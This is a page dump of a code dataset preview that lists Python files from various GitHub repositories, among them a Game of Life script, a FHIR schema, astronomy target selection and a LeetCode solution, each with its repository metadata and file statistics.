] | 2 | 2021-04-27T17:18:17.000Z | 2021-04-27T19:14:39.000Z | src/v5.3/enrollment/swagger_client/api/students_api.py | xmarcosx/edfi-notebook | 0564ebdf1d0f45a9d25056e7e61369f0a837534d | [
"Apache-2.0"
] | null | null | null | src/v5.3/enrollment/swagger_client/api/students_api.py | xmarcosx/edfi-notebook | 0564ebdf1d0f45a9d25056e7e61369f0a837534d | [
"Apache-2.0"
] | 1 | 2022-01-06T09:43:11.000Z | 2022-01-06T09:43:11.000Z | # coding: utf-8
"""
Ed-Fi Operational Data Store API
The Ed-Fi ODS / API enables applications to read and write education data stored in an Ed-Fi ODS through a secure REST interface. *** > *Note: Consumers of ODS / API information should sanitize all data for display and storage. The ODS / API provides reas... | 55.386831 | 482 | 0.653317 | 5,089 | 40,377 | 5.002555 | 0.055414 | 0.042737 | 0.024511 | 0.016969 | 0.953885 | 0.943672 | 0.933145 | 0.922421 | 0.918965 | 0.913662 | 0 | 0.028256 | 0.255839 | 40,377 | 728 | 483 | 55.462912 | 0.819017 | 0.447061 | 0 | 0.757653 | 0 | 0.02551 | 0.245191 | 0.070257 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033163 | false | 0 | 0.010204 | 0 | 0.091837 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
94a6eee371dac971d594c8ad7aa0dd31f97a080e | 2,341 | py | Python | hall-of-fame/round-03/01_chxhyxn/team.py | sihumji00/cau-osp2020-game | bf832c576e3ec6b7b6fd86f4a6945943de0b0a3c | [
"Apache-2.0"
] | 17 | 2020-12-08T14:33:01.000Z | 2020-12-17T15:50:59.000Z | hall-of-fame/round-03/01_chxhyxn/team.py | sihumji00/cau-osp2020-game | bf832c576e3ec6b7b6fd86f4a6945943de0b0a3c | [
"Apache-2.0"
] | 2 | 2020-11-26T12:21:53.000Z | 2020-12-02T07:07:24.000Z | hall-of-fame/round-03/01_chxhyxn/team.py | sihumji00/cau-osp2020-game | bf832c576e3ec6b7b6fd86f4a6945943de0b0a3c | [
"Apache-2.0"
] | 79 | 2020-11-26T00:43:18.000Z | 2020-12-18T14:18:37.000Z | from loa.unit import Unit
from loa.team import Team
def get_team():
return MyTeam("▒~_~Q~Q")
class MyTeam(Team):
def arrange(self, enemy: Team):
for i in range(self.num_positions):
if self.units[i]!=None:
for j in range(enemy.num_positions):
if enemy.... | 41.803571 | 92 | 0.390431 | 263 | 2,341 | 3.448669 | 0.136882 | 0.367144 | 0.209482 | 0.121279 | 0.868798 | 0.868798 | 0.868798 | 0.831312 | 0.831312 | 0.831312 | 0 | 0.001717 | 0.502349 | 2,341 | 56 | 93 | 41.803571 | 0.775966 | 0 | 0 | 0.784314 | 0 | 0 | 0.002989 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.039216 | false | 0.039216 | 0.039216 | 0.019608 | 0.117647 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
bf876e2ba6390aac1ae0aec0f912c487b2bef90c | 1,275 | py | Python | script_rdkit.py | guillermodeandajauregui/cabana_chemoinformatics_2019 | 07a429e7e3b506f3eceea54ed3e1dded5a6d1661 | [
"MIT"
] | null | null | null | script_rdkit.py | guillermodeandajauregui/cabana_chemoinformatics_2019 | 07a429e7e3b506f3eceea54ed3e1dded5a6d1661 | [
"MIT"
] | null | null | null | script_rdkit.py | guillermodeandajauregui/cabana_chemoinformatics_2019 | 07a429e7e3b506f3eceea54ed3e1dded5a6d1661 | [
"MIT"
] | 1 | 2019-10-16T19:56:00.000Z | 2019-10-16T19:56:00.000Z | #package import
import rdkit
import pandas as pd
import numpy as np
import scipy
import networkx as nx #if I want to play around with networks
from rdkit import Chem
from rdkit.Chem import Descriptors
my_data = pd.read_csv("data/Database_CABANA.csv")
#extract smiles
smiles = list(my_data["SMILES"])
#make a list of ... | 18.214286 | 61 | 0.736471 | 206 | 1,275 | 4.485437 | 0.237864 | 0.058442 | 0.025974 | 0.051948 | 0.965368 | 0.965368 | 0.965368 | 0.965368 | 0.965368 | 0.965368 | 0 | 0 | 0.162353 | 1,275 | 69 | 62 | 18.478261 | 0.865169 | 0.206275 | 0 | 0.974359 | 0 | 0 | 0.096096 | 0.072072 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.358974 | 0 | 0.358974 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
449c3d2ebfb2df8a5650c0b7f2a32e0e299fc02a | 190 | py | Python | tests/test_joke.py | vyahello/flask-template | 446eb37f9b48d7eb89821ee9913baae77b0b462e | [
"MIT"
] | null | null | null | tests/test_joke.py | vyahello/flask-template | 446eb37f9b48d7eb89821ee9913baae77b0b462e | [
"MIT"
] | null | null | null | tests/test_joke.py | vyahello/flask-template | 446eb37f9b48d7eb89821ee9913baae77b0b462e | [
"MIT"
] | null | null | null | from src.support.data import random_joke
def test_len_random_joke() -> None:
assert len(random_joke())
def test_type_random_joke() -> None:
assert isinstance(random_joke(), str)
| 19 | 41 | 0.736842 | 28 | 190 | 4.678571 | 0.535714 | 0.381679 | 0.198473 | 0.259542 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152632 | 190 | 9 | 42 | 21.111111 | 0.813665 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.4 | 1 | 0.4 | true | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
44d8cad96d16e4df7a052244b03295eff0dfd76e | 5,510 | py | Python | display/board.py | emap-strawberry/lifegame | 599fc3fe4905d6db98118a93bce36e07366058e7 | [
"MIT"
] | null | null | null | display/board.py | emap-strawberry/lifegame | 599fc3fe4905d6db98118a93bce36e07366058e7 | [
"MIT"
] | null | null | null | display/board.py | emap-strawberry/lifegame | 599fc3fe4905d6db98118a93bce36e07366058e7 | [
"MIT"
] | null | null | null | import numpy as np
import sys
import time
import os
class LifeGame:
def __init__(self, L=15, p=0.2):
self.L = L
self.survive = [2, 3]
self.birth = [3]
element_list = [1, 0]
prob_list = [p, 1-p]
#ランダム
#self.lattice = np.random.choice(a=element_list, size=(self... | 50.550459 | 111 | 0.3049 | 904 | 5,510 | 1.838496 | 0.077434 | 0.607702 | 0.879061 | 1.131167 | 0.576414 | 0.520457 | 0.45728 | 0.436823 | 0.405536 | 0.405536 | 0 | 0.237156 | 0.512523 | 5,510 | 109 | 112 | 50.550459 | 0.380864 | 0.023412 | 0 | 0.227848 | 0 | 0 | 0.007438 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037975 | false | 0 | 0.050633 | 0 | 0.101266 | 0.050633 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
44dc1ee6b11edc7264ed40faab073f765ebc6100 | 131 | py | Python | odoo-13.0/addons/auth_signup/models/__init__.py | VaibhavBhujade/Blockchain-ERP-interoperability | b5190a037fb6615386f7cbad024d51b0abd4ba03 | [
"MIT"
] | null | null | null | odoo-13.0/addons/auth_signup/models/__init__.py | VaibhavBhujade/Blockchain-ERP-interoperability | b5190a037fb6615386f7cbad024d51b0abd4ba03 | [
"MIT"
] | null | null | null | odoo-13.0/addons/auth_signup/models/__init__.py | VaibhavBhujade/Blockchain-ERP-interoperability | b5190a037fb6615386f7cbad024d51b0abd4ba03 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from . import res_config_settings
from . import ir_http
from . import res_partner
from . import res_users
| 18.714286 | 33 | 0.732824 | 20 | 131 | 4.55 | 0.6 | 0.43956 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009174 | 0.167939 | 131 | 6 | 34 | 21.833333 | 0.825688 | 0.160305 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
44f133ec29235f5987aab5de798afb2f495c9a3b | 4,051 | py | Python | pyboilerplate/_setup.py | hbldh/PythonBoilerplate | 5e65957f4d1286d71f45e51d175028df37198a33 | [
"MIT"
] | 1 | 2017-01-03T08:56:45.000Z | 2017-01-03T08:56:45.000Z | pyboilerplate/_setup.py | hbldh/PythonBoilerplate | 5e65957f4d1286d71f45e51d175028df37198a33 | [
"MIT"
] | null | null | null | pyboilerplate/_setup.py | hbldh/PythonBoilerplate | 5e65957f4d1286d71f45e51d175028df37198a33 | [
"MIT"
] | null | null | null | def get_setup_cfg_file(params):
"""Get a ``setup.cfg`` file.
Args:
params (dict): Parameters for this project.
Returns:
tuple: Relative file path and string content of file.
"""
bdist_wheel_universal = int(params.get("bdist_wheel_universal", 1))
return "setup.cfg", _SETUP_CFG.... | 23.829412 | 71 | 0.613922 | 468 | 4,051 | 5.087607 | 0.292735 | 0.029399 | 0.083998 | 0.043679 | 0.802184 | 0.784544 | 0.784544 | 0.784544 | 0.784544 | 0.751785 | 0 | 0.007465 | 0.206369 | 4,051 | 169 | 72 | 23.970414 | 0.733126 | 0.073315 | 0 | 0.775 | 0 | 0 | 0.881319 | 0.208435 | 0 | 0 | 0 | 0 | 0 | 1 | 0.016667 | false | 0 | 0.133333 | 0 | 0.191667 | 0.016667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
7859f7a07d2deb7c7bb40a3b809acc37f7be3ff5 | 19,897 | py | Python | spark_fhir_schemas/stu3/complex_types/documentmanifest.py | icanbwell/SparkFhirSchemas | 8c828313c39850b65f8676e67f526ee92b7d624e | [
"Apache-2.0"
] | 2 | 2020-10-31T23:25:01.000Z | 2021-06-09T14:12:42.000Z | spark_fhir_schemas/stu3/complex_types/documentmanifest.py | icanbwell/SparkFhirSchemas | 8c828313c39850b65f8676e67f526ee92b7d624e | [
"Apache-2.0"
] | null | null | null | spark_fhir_schemas/stu3/complex_types/documentmanifest.py | icanbwell/SparkFhirSchemas | 8c828313c39850b65f8676e67f526ee92b7d624e | [
"Apache-2.0"
] | null | null | null | from typing import Union, List, Optional
from pyspark.sql.types import StructType, StructField, StringType, ArrayType, DataType
# This file is auto-generated by generate_schema so do not edit manually
# noinspection PyPep8Naming
class DocumentManifestSchema:
"""
A collection of documents compiled for a purpo... | 50.5 | 102 | 0.558828 | 1,922 | 19,897 | 5.604058 | 0.156608 | 0.059047 | 0.037601 | 0.053477 | 0.804661 | 0.791941 | 0.786464 | 0.76641 | 0.738 | 0.730201 | 0 | 0.002668 | 0.397095 | 19,897 | 393 | 103 | 50.628499 | 0.895215 | 0.346685 | 0 | 0.621514 | 1 | 0 | 0.028514 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.003984 | false | 0 | 0.043825 | 0 | 0.059761 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
78c417f99102caedee7f511a005464edb2ad5447 | 18,864 | py | Python | old_versions/Game_Path_Test.py | Pebecko/Reknamorcen | c142971ce8ac0284080a16015124083da26b7d0d | [
"MIT"
] | null | null | null | old_versions/Game_Path_Test.py | Pebecko/Reknamorcen | c142971ce8ac0284080a16015124083da26b7d0d | [
"MIT"
] | null | null | null | old_versions/Game_Path_Test.py | Pebecko/Reknamorcen | c142971ce8ac0284080a16015124083da26b7d0d | [
"MIT"
] | null | null | null | import random
import time
import sys
#funkce
def slowPrint(s):
for c in s:
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(0.015)
print("")
time.sleep(0.02)
def roomPicking(xi,yi,last_direction):
x = xi
y = yi
last_direction = last_direction
while True:
if... | 26.494382 | 84 | 0.535623 | 2,132 | 18,864 | 4.626642 | 0.046904 | 0.316302 | 0.101379 | 0.053224 | 0.912105 | 0.902676 | 0.898621 | 0.894465 | 0.893958 | 0.886354 | 0 | 0.011878 | 0.348388 | 18,864 | 711 | 85 | 26.531646 | 0.790596 | 0.000318 | 0 | 0.862543 | 0 | 0.012027 | 0.133796 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041237 | false | 0.001718 | 0.005155 | 0 | 0.084192 | 0.003436 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
15332247bec08d090c2e30f85741afe9970b479b | 30,923 | py | Python | python/target_selection/cartons/mwm_erosita.py | sdss/target_selection | 7196bf1491c4e9c18140301c7001e503f391a8e1 | [
"BSD-3-Clause"
] | 3 | 2020-07-07T01:38:59.000Z | 2020-11-24T21:46:58.000Z | python/target_selection/cartons/mwm_erosita.py | sdss/target_selection | 7196bf1491c4e9c18140301c7001e503f391a8e1 | [
"BSD-3-Clause"
] | 26 | 2020-05-28T07:18:54.000Z | 2021-11-30T18:36:10.000Z | python/target_selection/cartons/mwm_erosita.py | sdss/target_selection | 7196bf1491c4e9c18140301c7001e503f391a8e1 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# @Author: Pramod Gupta (psgupta@uw.edu)
# @Date: 2021-01-12
# @Filename: mwm_yso.py
# @License: BSD 3-clause (http://www.opensource.org/licenses/BSD-3-Clause)
import peewee
from sdssdb.peewee.sdss5db.catalogdb import (Catalog, CatalogToTIC_v8,
... | 42.418381 | 97 | 0.589885 | 3,489 | 30,923 | 4.993121 | 0.123531 | 0.033351 | 0.009299 | 0.012399 | 0.800471 | 0.789622 | 0.785833 | 0.772057 | 0.767407 | 0.767407 | 0 | 0.024923 | 0.339553 | 30,923 | 728 | 98 | 42.476648 | 0.828086 | 0.403842 | 0 | 0.79878 | 0 | 0 | 0.114374 | 0.037612 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018293 | false | 0 | 0.012195 | 0 | 0.112805 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
154b336ffe3be8e07f68d6bd353a8da4670a1887 | 72 | py | Python | testapp/__init__.py | zw219/testapp | a5c8bf5c75488fafadd987ad1dfa9059741914bc | [
"MIT"
] | null | null | null | testapp/__init__.py | zw219/testapp | a5c8bf5c75488fafadd987ad1dfa9059741914bc | [
"MIT"
] | null | null | null | testapp/__init__.py | zw219/testapp | a5c8bf5c75488fafadd987ad1dfa9059741914bc | [
"MIT"
] | 28 | 2022-01-18T00:32:09.000Z | 2022-02-19T16:16:06.000Z | # App modules
from testapp.github_info_header import github_info_header
| 24 | 57 | 0.875 | 11 | 72 | 5.363636 | 0.727273 | 0.338983 | 0.542373 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097222 | 72 | 2 | 58 | 36 | 0.907692 | 0.152778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
154eb61ed77f25b8bff4ef46e2e95f04b64b866b | 5,677 | py | Python | src/Scripts/_speed.py | PatrikValkovic/MasterThesis | 6e9f3b186541db6c8395ebc96ace7289d01c805b | [
"MIT"
] | null | null | null | src/Scripts/_speed.py | PatrikValkovic/MasterThesis | 6e9f3b186541db6c8395ebc96ace7289d01c805b | [
"MIT"
] | null | null | null | src/Scripts/_speed.py | PatrikValkovic/MasterThesis | 6e9f3b186541db6c8395ebc96ace7289d01c805b | [
"MIT"
] | null | null | null | ###############################
#
# Created by Patrik Valkovic
# 4/3/2021
#
###############################
import torch as t
import numpy as np
import time
REPEATS = 1000
PARENTS = 10000
TO_PICK = 1
CHILDREN = 5000
# init
t.set_num_threads(4)
d = t.device('cuda:0')
t.rand(1,device=d)
print("=== CPU ===")
# randint... | 29.414508 | 102 | 0.594504 | 778 | 5,677 | 4.246787 | 0.09383 | 0.048426 | 0.090799 | 0.03632 | 0.946126 | 0.941889 | 0.941889 | 0.941889 | 0.941889 | 0.941889 | 0 | 0.013898 | 0.176149 | 5,677 | 192 | 103 | 29.567708 | 0.692538 | 0.022899 | 0 | 0.88 | 0 | 0.066667 | 0.18333 | 0.092825 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02 | 0 | 0.02 | 0.08 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
15a87f09d713b06a94162b7c44a726de54f48fe0 | 351 | py | Python | src/data/fix_fitbit_organization.py | intelligent-environments-lab/utx000 | af60a6162d21e38f8cfa5cdebc0f14e717205f12 | [
"MIT"
] | null | null | null | src/data/fix_fitbit_organization.py | intelligent-environments-lab/utx000 | af60a6162d21e38f8cfa5cdebc0f14e717205f12 | [
"MIT"
] | 95 | 2020-06-08T17:29:13.000Z | 2021-11-04T02:03:22.000Z | src/data/fix_fitbit_organization.py | intelligent-environments-lab/utx000 | af60a6162d21e38f8cfa5cdebc0f14e717205f12 | [
"MIT"
] | 1 | 2022-02-17T17:14:03.000Z | 2022-02-17T17:14:03.000Z | import os
for folder in os.listdir("/Users/HagenFritz/Projects/utx000/data/raw/utx000/fitbit/"):
os.system(f"mkdir /Users/HagenFritz/Projects/utx000/data/raw/utx000/fitbit/{folder}/fitbit")
os.system(f"mv /Users/HagenFritz/Projects/utx000/data/raw/utx000/fitbit/{folder}/* /Users/HagenFritz/Projects/utx000/data/raw/u... | 70.2 | 159 | 0.783476 | 52 | 351 | 5.288462 | 0.326923 | 0.218182 | 0.334545 | 0.421818 | 0.807273 | 0.807273 | 0.807273 | 0.807273 | 0.632727 | 0.436364 | 0 | 0.071006 | 0.037037 | 351 | 5 | 159 | 70.2 | 0.742604 | 0 | 0 | 0 | 0 | 0.5 | 0.792614 | 0.764205 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
ec95262a2c9f1bcd3998a1e8d3282c20a8748978 | 7,733 | py | Python | leetcode_python/Queue/design_circular_queue.py | yennanliu/CS_basics | 3c50c819897a572ff38179bfb0083a19b2325fde | [
"Unlicense"
] | 18 | 2019-08-01T07:45:02.000Z | 2022-03-31T18:05:44.000Z | leetcode_python/Queue/design_circular_queue.py | yennanliu/CS_basics | 3c50c819897a572ff38179bfb0083a19b2325fde | [
"Unlicense"
] | null | null | null | leetcode_python/Queue/design_circular_queue.py | yennanliu/CS_basics | 3c50c819897a572ff38179bfb0083a19b2325fde | [
"Unlicense"
] | 15 | 2019-12-29T08:46:20.000Z | 2022-03-08T14:14:05.000Z | # V0
# V1
# https://blog.csdn.net/qq_32424059/article/details/86998300
class MyCircularQueue(object):
def __init__(self, k):
"""
Initialize your data structure here. Set the size of the queue to be k.
:type k: int
"""
self.queue = [""] * k
self.max_length = k
... | 24.785256 | 94 | 0.515195 | 913 | 7,733 | 4.327492 | 0.098576 | 0.045558 | 0.064794 | 0.044546 | 0.926095 | 0.921539 | 0.918249 | 0.898001 | 0.898001 | 0.895976 | 0 | 0.019937 | 0.38381 | 7,733 | 311 | 95 | 24.864952 | 0.809234 | 0.369456 | 0 | 0.78125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.21875 | false | 0 | 0 | 0 | 0.546875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 9 |
ecab530362e7c1e8e715ffc28a11dd6010662ab1 | 149 | py | Python | bitpeer/log.py | buzzkillb/bitpeer.py | de51dbd9af77ed10d62ac534e1652c2dd0ad5c25 | [
"BSD-4-Clause"
] | 31 | 2015-11-27T19:43:17.000Z | 2020-05-17T09:43:00.000Z | bitpeer/log.py | buzzkillb/bitpeer.py | de51dbd9af77ed10d62ac534e1652c2dd0ad5c25 | [
"BSD-4-Clause"
] | 10 | 2015-11-26T13:48:50.000Z | 2015-12-10T22:45:05.000Z | bitpeer/log.py | buzzkillb/bitpeer.py | de51dbd9af77ed10d62ac534e1652c2dd0ad5c25 | [
"BSD-4-Clause"
] | 8 | 2015-11-27T16:58:16.000Z | 2020-05-17T10:16:43.000Z | class DummyLogger:
def debug (self, *arg):
pass
def info (self, *arg):
pass
def error (self, *arg):
pass
def critical (self, *arg):
pass
| 14.9 | 27 | 0.630872 | 22 | 149 | 4.272727 | 0.454545 | 0.297872 | 0.468085 | 0.446809 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.228188 | 149 | 9 | 28 | 16.555556 | 0.817391 | 0 | 0 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.444444 | false | 0.444444 | 0 | 0 | 0.555556 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.